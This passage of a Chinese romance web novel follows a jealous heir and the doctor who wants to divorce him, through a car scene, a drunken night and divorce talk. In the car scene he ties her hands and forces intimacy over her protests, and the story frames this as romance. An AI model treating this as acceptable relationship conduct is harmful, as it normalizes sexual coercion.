“Hendrix,酸的啊,你现在不想吃吗?三个人一起,各自都少吃点。”
59.夏日
但宴厅人多口杂,他们也无法阻拦得太显眼,任由林瀚睿自然而然地绕道离开。
梁尔璐同样不敢多动,屏息直对他注视来的凌厉目光,一声声迫近的脚步让她额角突突般紧张,偏又无处遁形。
却意外他仅是擦肩而过的态度。
她不明所以地怔在原地,随后招呼两个纳闷男人:“你们帮我注意着点记者,别让跟。”
可惜差了几步,她没能赶上林瀚睿乘的电梯,唯独确定楼层停在负数的地下车库。
没少跑,梁尔璐嫌弃踩着的细高跟:“狗东西闹什么脾气……”
车不难找,她还以为早就开没影,便从车头位置走到侧边,面无表情地敲响窗玻璃,万万没想到会与哭着转头且眸色错愕的林瀚睿对视。
为防他锁门,她眼疾手快溜入了车后座,见状而努力停哭哽咽的男人执拗转过脸。
趁人弱气,梁尔璐立刻扳回,不准他躲闪:“落水小狗的眼睛也是这样湿漉漉,可怜兮兮。”
“你跑地下就是想流点眼泪?一进车里就掉小珍珠?”她捏揉男人因多种原因透红的脸,可劲儿欺负,“宝宝,你是谁家的可爱小孩子啊?”
林瀚睿眼眶殷湿得汹涌,她多抽了张纸巾去拭干。
“还可以……还可以是你家的吗?”
吃惊的间隙险些戳到他眼睛,梁尔璐将语意直白的话绕模糊了几大圈:“你也知道我没喜欢过他们。”
男人的神情明显滞了一下,但她也察觉林瀚睿稍垂的眸色突然改变一瞬。
莫名是种讳莫如深的森寒?
她愣得深,仔细盯他无缝衔接抬眼的模样,照旧是副惹人心疼的面孔。
车内光线不足,应该是她看错了,顺势回应他伸手索要的拥抱。
颈侧抵着林瀚睿沾惹哭腔的轻声:“我刚才吃醋的样子一定很吓人,对不起,我吓到你了。”
“你会讨厌我吗?”
哄人原本就烦,更何况他旧话重提,梁尔璐觉得头疼:“我不是早说过了?没讨厌过你。”
一如既往的答案好似开关,换来他圈腰的更紧力道。
她视线之外相背的车窗玻璃上,林瀚睿哭红的双眼淌出笑意。
感觉男人抱着她的手略松,在她身后的座椅摸索着什么,梁尔璐疑惑:“怎么了?”
就见他沉默撤远了少许拥抱距离,唯独面面相觑,她没懂,也莫名语塞。
怔忡得很,林瀚睿却利索将她双手束剪去腰后,交缠绑缚。
这个情况下,梁尔璐被他重新拥回到怀里,甚至更近:“喂……喂!你不要绑我!放开放开,放开!”
挣扎间只听男人附她耳畔冷诮:“他们哪里比我好?”
“我爱你,就只会爱你,我爱你到死。”
她瞳孔收缩,终于反应过来刚进车里时就没见他佩着领带,挺括的衬衫领口凌乱微敞:“你,你刚才都在装可怜,死绿茶你骗我!天杀的,你这个混蛋!狗东西!”
锢完她的林瀚睿显然对挨骂不以为意,退开了箍住她双肩,泛红的眼眶不知是因为哭过染就,还是更多由于翻涌不息的醋劲:“杀了我助兴?没必要这么麻烦,在车里就足够助兴。”
“你不要脸!”梁尔璐遭他按去抵在椅背,情绪愈发起伏,“哎等等,听我说听我说,容易被记者拍到!”
她直往车门角落躲,但出乎意料的,林瀚睿并未加以阻拦,也眉目含笑,毫不犹豫松开他手掌心压住的裙角,极尽慷慨。
同时平淡落下视线:“这么会逃,我们回家去泳池?你不会游泳,就只能一直抱紧我。”
软肋被他精准拿捏,梁尔璐顿时滞住,吓得脸色煞白:“别,别这……”
但畏怯在齿关的话还没说全,便被林瀚睿堵了唇。
*
她醒来认出林瀚睿在深城的家,如同他们四年前第一次荒唐,之后又回了这幢别墅的床上续摊。
旁边没人,不感温热,梁尔璐嫌弃他这案情重现似的吃醋程度,拢紧被子继续睡,恰巧听见开门声响,眯眼探望光源,狗东西人模人样地走进卧室,气得她揪过薄褥蒙头。
男人开了灯,按照钻入缝隙的光亮强度,无疑是天花板正中的主灯。
身侧的床榻下陷,符合他体温的凉丝丝男声随即而至:“宝宝,起来吧,或者我带你去泳池?”
顶着张骂骂咧咧的脸色,她掀翻夏被,皱眉缓缓坐起:“不让我睡觉,杀了你!”
恶狠话到底是没用,梁尔璐放弃挣扎地由他圈进怀里揽肩。
“那幅油画,我画的。”
她揉眼适应灯光,望向墙壁上正对床的画框:“看不懂太子爷的阳春白雪。”
“你也看不懂我哥的阳春白雪?分明收藏了不少他的书画作品。”
“你有完没完啊!人都快被醋腌入味儿了……”稍支棱些身子,她就因酸痛嘶声,颓得老实靠坐,“大哥,你不累吗?我真的好困。”
绝对不累,男人此刻的状态尤其松弛,雪亮灯光投在半框眼镜的玻璃边沿,随着他偏头的动作,隐隐流转锋芒:“你硕士毕业后,做反向代购生意前,在这之间,我们就早已见过一面。”
再三盯看林瀚睿不像假的表情,她来劲了:“我怎么不知道?”
“和你师叔去半山豪宅区,给富豪治病那次。”
梁尔璐记得这事:“但不是给你爸治病的啊,我才刚认识你爸不久……等一下,你是那个掉下山的大少爷!”
她硕士毕业后某天跟师叔出诊学习,离开时在豪宅门口远远看见稍高处斜对面的林家灯火通明,一帮身穿黑西装的人出动去找少爷,他那独自站的父亲正着急喊医生,但只收到家庭医生团队以及两个私人医生都提前被林瀚睿赶出去的坏消息。
那她师叔救人心切就喊了一嗓子“这里有医生”,她扶着师叔,跟保镖们在山里搜寻,等找到林瀚睿,师叔只喊她一声,让留在陡坡上,他们进一步下山坡。
事后师叔称林瀚睿哮喘发作,身体被冬季土壤表面的尖石和枯槁枝杈弄受伤,处于半昏迷状态。
“我当时听见你的名字,也看到了你在树旁的模糊身影。”
男人的嗓音拉回梁尔璐思绪,她傻愣眨眼。
当时的确看见他朝她伸了带血的颤手,她一再确认左右都没人,超意外林瀚睿居然是对她做的,但也迅速向他伸手。
她现在都奇怪:“你怎么会掉后山的?乌漆嘛黑,我那会儿完全没看清你的脸。”
“自己跳山。”
“你有病啊!”梁尔璐咋舌,这家伙神情平静得像说别人故事一般……
“跳山之前,我每次都接受相亲,不配合是因为对你一见钟情。”
她倏地茫然,后仰注视林瀚睿转为灼热的双眸。
“怎么连寻死都是因为我?又是因为我?救命,我压力真的很大啊!不是……我可没拿枪指着你脑袋,非让你喜欢我。”
“痊愈后,我画了这一幅。”
庆幸他终于挪走难以忽略的凝视,梁尔璐也看向高挂墙面的油画。
黑色为底,多条刮刀画的白色细竖线,以及从左上角开始斜向下,但断在画幅四分之三位置,因此突然破坏了整个画面感的一条白线。
过分突兀,难受得她强迫症犯了,抓心挠肝:“那些竖线是什么?山里的树?”
林瀚睿挑眉望女人专心琢磨油画的侧脸,并不意外她能理解:“宝宝好聪明,竖的全是树,斜的一条是手。”
是那个冬日夜里的树林中,梁尔璐向他伸出的一只手。
“我当然聪明,但不是你的宝宝。”怪亲昵的,梁尔璐嫌弃撇嘴,“哦,当时我和你互相伸出的手,的确是四舍五入能构成一条斜线,所以你画错了啊,为什么要中断?应该从左上角一直延伸到右下角为止。”
没听男人搭腔出声,她疑惑转头,更加纳闷他犯怔的脸容:“我说错了吗?那会儿你对我伸手,我虽然觉得奇怪,但也回应你了,没错啊。”
正好在他左边,她心狠忍下浑身的不适,直起身坐远些抬高了胳膊,又抓起他同样傻愣愣的一只手,对着
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油画比划:“你看,一条完整的斜线,完全一致,哎……”
林瀚睿沉默不语,唯独借双方这似有若无的相触,顺势握过近在咫尺的手腕,扯过她紧紧抱住。
确实画错了。
长久的年岁里,他喜欢一个以画“黑画”闻名世界的油画家,而这位曾说“把光线汇入黑色绘画中,光线从黑色中发射出来,黑色演变成一种发光的颜色。”
他遇到了光,所以彼时身处的不再是冬夜,像一个夏日。
那凛冽冬夜,于他而言灿若夏日。
林瀚睿低眸,感触怀内圈拢的热度。
肩头轻响梁尔璐困倦的哈欠声:“如果你酸死了,就去找你哥和那个太子爷打架,谁都不要和我沾边,尤其是你,别老折腾我。”
“我要走,不伺候你了,祝你做人不缺爱,做.爱不缺人。”
“没你就都缺。”
任由林瀚睿搂着她窝入被里,梁尔璐闭眼咬牙。
必须得把离婚提上日程了。
痛定思痛,她抬头,满眼坚定的决断杀心精准正对男人视线。
她霎时溃得慌乱,刚才明明就看见他拿了遥控器关灯的……
林瀚睿神色浅淡,却继续将她往怀里揽近,轻飘飘的嗓音沾笑:“晚安,犟骨头。”
耳廓被他揉玩,梁尔璐蹙眉咿呀。
“现在给你老公打电话,和他提离婚。”
她痒得瑟缩,但困到脑子不太灵清:“你有病吧……”也不见得这狗东西会真的同意离婚。
按照宴会上的情形来看,他从小到大身边不缺莺莺燕燕的,还都门当户对。
因夜色入室,林瀚睿轻易察觉她走神,冷下的表情染了烦躁:“不打?那我们就去泳池睡,甚至让你几天下不了床。”
梁尔璐吓得猛然清醒,反应过来狗东西指的是她假老公:“打……打的。”
大晚上的戏瘾真足,又在玩那该死的小三游戏。
床头柜的灯昏黄,她难情愿地拿到手机划拉通讯录,摁出电话的当口,猝不及防遭林瀚睿倾身叼咬耳朵。
她受惊闭眼,捂嘴止声小会儿才抬起躲进他胸膛的脸,慌乱查看被她吓到扔去二人之间的手机,屏幕上已经是接通状态。
“Aria,你那边很晚了,怎么突然联系我?出了什么事吗?Aria?”
出大事了!哥们!救命!
远水救不了近火,她丝毫不敢避开林瀚睿呵近耳畔的呼吸:“不说话?你老公该等急了。”
梁尔璐委屈咬唇,去摸手机,却被他半道捉住了手,压陷入枕面,吻随即密密实实落在唇瓣。
听筒传声清晰,对面的男人疑惑嘀咕:“打错了吧?还是先别说话吵她了。”
纠缠间听林瀚睿溢出几丝笑嗓,就见他退开,垂眸凝看她涨红的倔强泪眼:“你老公真体贴,倒是显得我坏透了。”
“我按过静音,你老公听不见我们这里发生了什么。”
说完果真当着她的面,又按触这个键,递过手机。
梁尔璐缓些呼吸,咬牙忍耐后颈受到摩挲的阵阵痒意:“Loewenatein,没打错,我要跟你离婚,剩余的明天再说。”
竹筒子倒豆似的,她迅速讲完就挂断电话,使劲拍掉林瀚睿的手,抹泪瞪视:“你究竟有完没完!”
这狗东西反而只是一副没兴趣承接她怒火的自说自话模样,腔调懒散:“他究竟哪里比我好?”
“醋醋醋醋醋!好好的人不做,非要当舔狗!”她简直佩服得五体投地。
如果Loewenatein知道自己莫名其妙成了朋友的假想情敌,绝对会好气又好笑地满头问号了。
“你又走神。”
被直截了当地戳穿提醒,梁尔璐咽口唾沫压惊:“请问走个神是违法吗?”
意料之外,见林瀚睿唇角衔着一抹笑意,温善摇头。
“宝宝,能看出来你喜欢男人身上有那种湿漉漉的落水小狗即视感,那我现在带你去泳池看落水舔狗和受惩罚的小野猫。”
60.夏日
医者难自医,从业多年,梁尔璐切身体会到作为骨科医生的至暗时刻,这会儿腰酸背痛得胜似散架,但没多少余力自我调理。
深更半夜的风感偏凉,街边烧烤摊弥漫阵阵辛香热浪。
她往桌沿支撑抬高了会儿的疲软手臂,幽怨望向斜对面停车位的奢豪汽车。
饿死了,本来就没吃几口林家酒店的甜品,狗东西还接二连三……天杀的色中饿鬼!杀了,要杀了他,再扔进泳池里用水泥封住,别出来了!
点的不辣,但手里这串烤肉明显沾到了别人那些麻辣料,几乎导致灵魂出窍的程度,梁尔璐甚至手忙脚乱误喝了辣喉的酒,赶忙拿饮料过渡。
估计是没遵纪守法口嗨的报应,她接过闺蜜递的纸巾,绝望擦眼泪。
钟敏绮实在不忍直视好姐妹这惨样:“银银,你怎么好像饿死鬼投胎?该死的前男友虐待你?不是顶级豪门太子爷?月黑风高夜,我要杀了他!”
“别提了,我遭完老罪却还能坐在这里靠自己的双手拿东西吃,就已经是太子爷网开一面,手下留情了。”
“什么东西?家暴啊?”
误会到了天南海北,梁尔璐连连摆手:“不是不是!他不是家暴男!事到如今,有件事必须告诉你了,我打算和太子爷离婚。”
“等等,你等等!怎么直接快进到离婚了?你们什么时候……啊?”
眼看着闺蜜瞬间掉落手间烧烤签子的目瞪口呆模样,她递过一串新的:“平平无奇四年前,这么多年,我就只告诉你一个人了,保密保密,否则爸妈这次真的会削死我。”
她就谈个恋爱,结一场婚,鬼知道两家居然牵扯仇怨?有这精准运气但也不见得买彩票中大奖啊,五元已是极限……
钟敏绮咬了一块鱼豆腐压惊,略微舒展眉头。
当年好姐妹独居在包租婆母亲手里的其余小区,隐瞒所有亲朋好友,偷偷过孕期日子,但实际上到了预产期进医院时也不显怀。
她清晰记得那天病房的气氛格外凝重,和梁奕珩作为发小级别的挚友,僵站在旁边大气不敢出,没几分钟,梁家一言不发的父母就接受了女儿未婚先孕的惊天变故,甚至丝毫不对这件事过问半个字。
如今又告诉她,闺蜜当年原来是结了婚的。
“其实我怀疑过一段时间,毕竟你不是那种怀孕了还被男人忽悠着乐呵单身恋爱的傻白甜,而是会第一时间要求男方结婚负责到底。”
“仪仪真懂我,但当时我还没发现怀孕就打算和他结婚,恋爱脑是这样的。”
半夜的车路也多川流,梁尔璐趁空投望林瀚睿那辆静默的车,男人稍低头,手中pad的电子屏幕盈亮他脸廓。
她收回视线,无奈抿唇:“总之你也不能说他坏,毕竟他超爱我,对我好,至于隐瞒家世骗我这行为,也算不上多坏,我能理解他,但这属于两码事,我没办法彻底说服自己跨越个人底线,去原谅他。”
“没关系,就遵从你现阶段最想要的选择,别在同一件事上长期焦虑。”
焦虑倒还好,她更怕林瀚睿知情后发大疯,就又得遭老罪了:“离是绝对要离的,问题是真的很难离掉,小孩抚养权更麻烦……我怎么可能把梁卓熹给他?唉,住脑,先吃吧,明明是我约你出来玩,却倒苦水把你烦死了。”
钟敏绮险些被唾沫呛着:“感情淡了!笨蛋银银,我只会嫌你不烦我。”
她转头注视路对面如漆的黑色宾利,主驾驶位的男人此刻情绪未明,似在凝看车前窗玻璃外景,侧颊颌线凌厉。
岂料一个没注意,见梁尔璐迅速喝光了剩余的小半瓶白酒,正醉到坐姿斜乱着摇晃。
喝白的速度竟也这么快……钟敏绮当即赶去扶稳她。
倾倒的坠落感突然消失,梁尔璐不适应地懵圈一阵,捞过桌角手机。
沉寂已久的车内空间忽响来电铃声,林瀚睿偏转视线,烧烤摊那边醉意汹涌的女人朝他挥手,指间手机因偏大的幅度滚远到地面,对他所处的停车位高喊“老公”。
异常陌生的称呼仿佛投石入湖,激荡绵延涟漪,他怔回神,挂断通话。
林瀚睿快步穿过车流,揽住坐不稳的梁尔璐,再次低眸便对上梁尔璐灿烂笑靥,随即被她黏乎乎地连唤几声“老公”,社牛的分贝不算轻。
因此与她闺蜜一并致歉周边看热闹的食客,他轻揉女人发顶,哄得她安静不少,虽还小声重复这两个字。
梁尔璐作软之后的嗓音会比平时偏清淡的娇甜一些,此刻好似小猫呜咽。
钟敏绮原本不想让林瀚睿搭手碰闺蜜,但严重怀疑若是不许他加入,难保会发什么疯,干脆全交给了他:“你肯定也知道我的宝贝银银脾气爆炸好,所以连对你这种人都……换个人谁受得了你啊!说得我气死了,你好自为之吧。”
林瀚睿俯身捡回幸存的手机,坐桌旁扫掠一眼对面恼怒着咬烤串的女人,转而垂看环紧他胳膊靠来身侧的梁尔璐。
甚至横手圈抱他腰,闭合的双眼稍皱,语气怨怼:“林北北,你怎么挂我电话呢?我不是不愿意和你一起吃饭聊天,都是因为你在这里会生病,油油辣辣的空气……好香,哦不对,是容易生病,不可以!嗯,我说话严谨吧?”
但也顷刻间使劲推开他,颤颤巍巍往杯子内倒酒:“所以你看我喝酒!”
“是表演节目吗?”钟敏绮倏地忍俊不禁,察觉林瀚睿提前换成一杯饮料的眼疾手快架势。
梁尔璐举杯一口干,吃惊捂了捂嘴,愣怔凝视男人几秒:“这不是酒!骗不到我的,以为我刚才没看见你的小动作嘛!怎么可以……你又骗我,又骗我!”
猝不及防,林瀚睿攥了纸巾擦她霎时流泪的双眼:“我已经让谢柏延过来结账。”
钟敏绮打量桌面满大堆的烤串,确定还有好些没续上:“太子爷会照顾人吗?别马上回车里开,到时候更反胃恶心,风不太大,你带她去路边走走。”
省得梁尔璐打软脚平地摔,林瀚睿背起她。
哭劲属于即兴似的,她喉间没再冒出泣音,唯独醉醺醺地偶尔哼唧一声。
“想吐吗?”
回答倒是利落:“不想,不能吐,太子爷,你的衣服好贵啊。”
“你怎么能骗我?我是什么很难追的人吗?你出去问问,像你这种温柔纯情帅气的男人,很难不招喜欢,虽然性格是有那么一点点点奇怪。”
绝非一点点点吧……林瀚睿无奈她这滤镜厚重的美化:“难追,你根本不会搭理我这种太子爷。”
“哦,那你就是不知悔改!”
身后人试图扳过他脸的双手中途滑落,失败得立刻放弃,却仍不甘心着拂乱他额发,视野因此受限,林瀚睿放慢些脚步,晃头自然撇开发绺:“但我知错了。”
耳后覆上的湿软触感短促而鲜明,他错愕梁尔璐这极其突兀的吻,险些错过女人委屈声线。
“可是你现在一点都不纯情了,要少上点网,要节制,对身体不好,要听百年中医世家第九代传人的话,知道吗?”
林瀚睿胸口挨了几锤承载怒气却无足轻重的拳头:“知道了。”
“哦对了!老公,妈咪美得貌比天仙,你要去我家看看妈咪的照片吗?去嘛!”
那他倒也不是没在母亲的旧照里见过未来岳母:“好,现在立刻马上就去。”
距离不远,林瀚睿照旧背着人回家,眼睁睁任由醉鬼一进门就坐玄关亮嗓门:“梁先生,梁女士,你们的妈宝爸宝女回来了!”
趁低头替梁尔璐换鞋的空隙,他掀眼抬看蓦然沉默的女人,惊讶她
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一副欲哭的可怜神态:“狗东西,我家有六百多个平方,他们听不见我说话。”
上回来过一趟,他抱人去往卧室方向,没骨头般窝怀里舒服的人念叨不停,醉眼惺忪望来。
“老公,你这是第二次来我家,双双可想你了,我也好想你啊,但你居然骗我!所以我不要你了。”
“唔,停停,就是这里,我家的大书房。”
林瀚睿愣是拗不过她挣扎着下地的决心,只得提前踢开坠地绊路的两只家居鞋,跟紧了防止她虚浮步伐致摔。
不多时,见梁尔璐从书柜翻出一本颇有年代的厚相册,抱膝坐入桌前的木制太师椅,困乏支手撑了额角,凝神翻页半天:“就是这里!妈咪在这里。”
是一张残缺破损的老合照,而她此刻正指向他母亲。
林瀚睿下意识皱眉,再三确认没看错,微滞眸色淌出难以置信的意味,目光落去梁尔璐仰头看他的疑惑脸。
“你见到妈咪也不开心吗?那算了,你好难哄啊!还在生我的气,我真的不喜欢他们,是因为那个蛋糕难吃,才给他们的。”
她作势要合拢相册,却被男人适时抬手按住边角,揉眼睛盯清他未曾舒展的眉目,情绪不由着急:“我只喜欢过你!真的,保真,一点都没骗你。”
林瀚睿听进心底,但加快语速跳过这话题:“她不是你妈咪,之前你也错叫她妈咪。”
得她倏愣,继而垮脸伤心的模样:“也对,她只是我的婆婆,不是亲妈咪,你好小气!婆婆就不是我妈咪了吗?如果我和你妈咪同时掉进河里,你肯定先救她……不行,我不能这样无理取闹,救妈妈也很重要,你那么会游泳,一手一个救我们吧!”
每个字都听得足够清晰,可他愣是没懂意思:“梁尔璐,你……”
且当即被她闹脾气地嚷中断:“我又怎么了!”
“不是,我不是凶你,宝宝,你……”这次是遭从外打开的房门掐断,林瀚睿怔忡面对她父母严肃的表情。
梁清泗欲言又止,颇有种五雷轰顶的震惊:“你们,你们这……”
随即听身旁的妻子冷静出声:“忍住。”
屋内酒气浓重,梁初琅扫视了一遍俩年轻人的状态:“吵架?”
“我,我们……”林瀚睿恨舌头打结,迟钝反应过来梁尔璐居然灵活地跳下椅子靠近,亲昵挽住他手臂。
甚至羞涩着稍稍捂脸,递父母满面笑容:“爹地妈咪,我们没吵架。”
“老婆,你听见没?闺女叫我‘爹地’了!她这样叫我了!”
“哦,她只是因为喝醉了。”
林瀚睿悻悻沉默,似乎能看清男人头顶狠狠泼下一盆冷水。
他点头回应女人关门前留的“照顾好”嘱托,垂眼五味杂陈地注视梁尔璐。
将昏昏欲睡的她安回卧室床上,林瀚睿顺手掖被角,拿起枕边散落的一纸婚书。
书桌抽屉半开,空位还能容纳摆放这庚帖的木匣,周围也有他当初求婚用的钻戒绒盒,以及送她的奶茶店情人节活动戒指。
林瀚睿把匣子锁进一方抽屉,收回视线没再凝望梁尔璐,转道走向阳台。
通话对方接听得毫不拖沓,他率先抛出话题:“Loewenstein,你和Aria结婚了?”
男人不消迟疑,应了声理所应当的腔调:“对。”
“孩子是你的?”
“不是,难道是你的吗?Hendrix,你别再纠缠Aria了。”
老三样似的,没问出太多有价值的参考信息,林瀚睿当即挂断,疑虑丛生,思绪稠得仿佛漫天深浓夜色。
结合他最后一句严辞劝告,极可能是之前那个提离婚的电话让Loewenstein误会了什么,才利落承认已婚关系。
61.夏日
宿醉导致的不适让梁尔璐头疼欲裂,被迫早起,疑惑了会儿睡在自己家的原因。
习惯醒来捞手机看时间,她发现将近一小时前的几通未接来电,连忙回拨。
懵得甚至忘记德国此刻是深夜,严重打扰人休息,想挂断却被对方秒接:“Loewenstein,抱歉啊,我刚睡醒。”
男人出声也快:“道什么歉,Aria,昨天Hendrix在你那个电话之后,问我是不是和你结婚了,我没否认,因为觉得你说要离婚的话莫名其妙,又被他问结婚,怀疑你是故意在含蓄找我帮忙,让我假扮你老公,不被他继续纠缠。”
“Hendrix还问双双是不是我的孩子,我省得给你添其它麻烦,就说了真话。”
她努力跟住男人说话的数量与速度,同时按揉泛酸眉心。
如果需要解释原委就太费劲,干脆将错就错:“对,麻烦你配合我了,谢谢。”
“双双当然想你,特别想,你那边现在都后半夜了,快睡吧,拜拜。”梁尔璐放下手机,无声盯到屏幕自动熄黑。
奇了怪了,林瀚睿纠结这些问题干什么……不是心知肚明?有必要演戏到这份儿上?
百思不得其解,反而越发头疼,她托稳沉重犯蔫的脑袋。
好绝望,昨晚叫了他那么多声“老公”,没脸见人了。
她洗漱完照常打探一眼隔壁女儿卧室的情况,没料到房门竟然敞得大开,猝不及防目睹父女俩坐在地毯玩拼图的画面。
安全状态在孩子雀跃喊她的动静下濒危,梁尔璐恨不得脚底抹油,惊慌失措地从林瀚睿视线内逃掉。
餐厅的桌子满了近乎一半,保温桶旁摆着一包配比好的中药材,她顺手掀开饭罩,从桶里倒空一大杯温热的醒酒汤。
老父亲是真狠,分明可以做堪称糖水的橙味醒酒羹,偏偏要熬中药含量拉满的葛花醒酲汤,虽说味道也算甘甜。
打着绝对不再喝第二次的叛逆心理,她痛苦闭眼,一鼓作气灌进肚里,立刻颓丧了脸地嫌弃放远杯子和药包,但双眼余光倏忽瞥见墙沿倚靠身影。
无法理解林瀚睿平静投望而来的意思,梁尔璐觉得他比残留齿喉之间的药味更令人难受:“你是鬼吗?走路没声。”
不过他还蛮好心,特意示范走路带声,坐在桌子对面的分秒却依旧沉默注视她,眸中的琥珀色调通透寡淡,眼白区域的少量红血丝即将逼近这颗漂亮瞳孔。
“那你是哑巴?”她没好气地拿过个叉烧包,泄愤般狠咬一口。
确实哑巴似的,男人迟迟不动两瓣嘴皮子,唯独按正常频率眨眼。
不知道她尴尬得想死?梁尔璐对这存在感过强的凝视忍无可忍:“别看我,再看就把你眼珠子挖出来当球踢!”
她没懂这句话奏效的缘由,总归成功见林瀚睿自证了并非哑巴,且珍惜眼珠子:“挺凶,是因为昨晚认错老公的事,恼羞成怒?”
却没说人话!
咬牙忍下制裁他的冲动,她表情疑惑:“哎呀,耳朵进醒酒汤了,听不见呢。”
“不是说今天和你老公继续谈离婚?”
梁尔璐缓解险些咬到舌头的心有余悸:“对啊,但是谁规定我必须要在你面前和他谈?带孩子去吧你,烦死了!警告你别吵我吃饭?”
怔盯着男人当即起身离开的背影,她宕机了。
狗东西什么时候这么好说话了?
这人一走,她脑海中却秒速浮现想跟他聊的事情……
吃完经过客厅,梁尔璐惊讶林瀚睿待在沙发点按平板屏幕,鉴于之前凶巴巴的态度,她小声清嗓,忸怩坐人身侧。
她偏转的视线偶然扫到满屏枯燥表格数据,疑惑间确信是非工作日,抬头便交汇男人径直不避的深情桃花眼,一时停滞了睫羽翕动的频率。
应该也有人说过他这副俊朗五官生的是薄情渣男相吧……但怎么就脸不如其人,牛皮糖似难甩得要命。
难免局促,她挪远些目光,再重新对视:“你会多门外语,对吧?”
“想问什么?”
拿平板配套的电容笔有些小题大做,梁尔璐就近在他手心写下“b”和“s”两个字母:“你知道这是什么吗?绝对不是那些一眼普通的意思。”
“所以不是常见的书面语缩写,我没出国经历,帮你联系翁秘书,他是ABC。”
休息日却收到领导消息的打工人效率极高,迅速发来一长段——【B.S.是Bull Shit的缩写,老外随口骂人的一句流行脏话,可以宽泛理解为该死,老板,您满意吗?多给我发点奖金就行了,今天又是周六,记得算上加班费】
梁尔璐攥紧平板边缘,愣得严重:“该死?那他为什么要跟我说这个……”素不相识的,什么深仇大恨?
“谁?”
实在纳闷,她被林瀚睿沾了急意的嗓音拉回思绪,怔忡望他担忧神色几眼:“哦,我刚才突然想起四年前在你家度假村后山尾随我的那个男人。”
“宝宝,你细说当时具体发生了什么?他坟头草已经长了四年,难再调查。”
那她可是记忆犹新,没少做噩梦:“我突然听到身后又掉东西的响声,发现是他的手机,相册里全是偷拍我和其它女性的照片,然后他莫名其妙用这句话骂我,又立刻说‘但你看到这些就更应该了’,之后的事情你也都知道。”
“你说这人是不是有什么心理问题或精神疾病?”她那两天的确足够倒霉,什么妖魔鬼怪都遇上了,“既然翁秘书说跟了你五年左右,所以他年纪很大了吧,却长得好年轻,和盛家太子爷一样中了基因彩票。”
“乖,别在我面前提其他男人。”
指向自己脸的手被林瀚睿攥去腕部,梁尔璐及时挣脱,挪坐去沙发角落:“别拉拉扯扯的,有小孩。”
她可不愿意领教女儿的连环为什么攻击。
“我就这么见不得光?也对,只是小三而已。”
“乖,你脑子有病就去治。”没和女儿说亲爹死了已经算是行善积德,她恍然大悟,狗男人一天不演小三就浑身不爽利,但疑惑他眉宇之间忽然沾染笑意的神态变化。
“翁秘书是跳级神童,十五岁读大二,七年后博士毕业,回国面试CEO秘书,目前二十七,也擅长黑入电子设备,确定那个死人身心健康。”
梁尔璐怀疑听错:“这么强的弟弟……总之你别去查这陈芝麻烂谷子的事了,下次难保是否还会有好运气,头部只受轻伤。”
紧随着,得他一声偏短的轻笑。
“我也是够强的弟弟,无非没出国,宝宝,你真的挺关心我。”
“不对,只是医德而已。”
惯用的话被抢先,梁尔璐悻悻,转念开始揶揄林瀚睿:“非常好,别收,我家里的孩子有福了,足不出户就能在客厅看见动物园的孔雀开屏。”
受调侃的男人显然听之任之,只倾身取过一盒茶几上的饼干递来。
她扭眉将剩余的拨弄整齐,内部少了几乎一半空隙:“你又不碰这么甜的东西,全进双双肚子里了,给她少吃点零食啊,这样她更不想吃饭了。”
“我会的外文,包括德语。”
“哇,你真厉害。”梁尔璐正忙着低头找碎掉的小块饼干,回应敷衍,抬眼之际吃下,见男人小幅度挑眉。
“意思是我可以找律师帮你拟定一份离婚协议,再由我替你翻译成德文版,寄给你老公。”
敢情林瀚睿打的竟是这主意,她顿时觉着手里的零食索然无味,松开了手指:“谢谢,这就不麻烦你了。”
而他仍在欠揍输出,笑容却该死得顺眼:“小事一桩。”
梁尔璐杜绝美□□惑,僵硬扯起一丝唇角:“真不用了,我老公看得懂中文。”
“哦,是我忘了他从小学中文,一切听你的。”
然后呢?就没了?
她难以置信地后仰些身体,狐疑打量林瀚睿弧度缓和的平淡神情。
又是这样?这狗东西今天实在太好说话了吧……事出反常必有妖。
手机跳出新消息的亮屏提示,她暂时不搭理,专心观察怪异男人:“你没事吧?正常点,我害怕。”
“怎么办?你一点都不懂涉外离婚,我很担心你会被老公设计欺负。”
容不得委婉,梁尔璐无情直拒他脸容透出的忧色:“好香,但是谢谢你,我不爱喝绿茶。”
“离婚协议是需要中文版的,并且区分是否在国内登记结婚,如果在国外,就只能走国内的诉讼离婚程序,或者你老公根本不同意协议离婚,也只能靠诉讼。”
“夫人,你和我这个小三结婚离婚,也属于涉外婚姻。”
“不是?怎么跟你也算?哦,也对……我知道了,看来你还挺懂的。”这见鬼的话题,她麻利站起,“那我先去和未来的前夫哥谈离婚了,小三,等我消息。”
问个大头鬼!没兴趣陪狗东西玩小三游戏。
总之她和林瀚睿势必会走上诉讼离婚这条荆棘路的。
梁尔璐原本气势汹汹抓着饼干盒,赶进女儿卧室兴师问罪,脾气却被女孩知错就改的甜糯笑容消除了个干净。
猫认错也是这样……
“妈咪,靓仔叔叔刚才夸我们家里的小黑猫可爱,我就说是爹地送给妈咪的礼物。”
她撇嘴,某人别
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太暗爽了:“嗯,他家里也有小黑猫,十几二十只,现在应该更多了吧。”
“是靓仔叔叔的家里吗?”
“不是,是你……啊,对!叔叔家。”险些因分神而说漏嘴,梁尔璐压惊摁灭查看完微信消息的手机,迅速转身离开。
打开虚掩的门一瞬,却径直撞见靠站在走廊对面墙边的林瀚睿,她错愕着与之定定相视。
过道光线偏暗,男人少许身形没入亮度更少的另侧,静默模样令人难以参透。
她垂眼关拢门,阻断卧室投出的阳光,连些微漂浮半空的细絮也察觉不见。
“现在有三十一只。”
哮喘病人极限养猫还挺自豪,梁尔璐扔他眼刀子:“哦,关我什么事?太子爷听墙角,成何体统?丢人。”
“我都做了小三,这已经不算丢人。”
不见得吧?玩小三游戏时的模样也足够自豪,她可劲嫌弃地管自己走:“看你烦,哪凉快哪待着去,我出门有事。”
相错的脚步响在身后:“我要出差,中午的飞机,你不用随行。”
“祝太子爷每秒净赚一个亿。”话落,梁尔璐冷脸送了他利落的关门声。
林瀚睿面色无异地习惯了,毕竟被嫌得经验溢出,转身回女儿卧室,当即遭女儿喊住。
“靓仔叔叔,我有一个可以戴头上的黑色猫耳朵玩具找不到了,有两个会响的小铃铛,没在我家,应该是妈咪带走了,在你家吗?叔叔,我现在就想要。”
他确定没见过:“好,我帮你去找。”
“但是小子书哥哥也想你帮一个忙。”
娃娃的烦恼也就那样,他坐床沿面对平板内的视频通话,迟疑着揽抱过女儿,难压唇角笑弧。
“叔叔,如果你见到我岳父,就告诉他,我是他的女婿。”
俯身听清女孩凑他耳畔轻声抗拒的“我不要和他结婚”,林瀚睿点头表示明白,而后对男孩恢复正常分贝:“一定给你转达。”
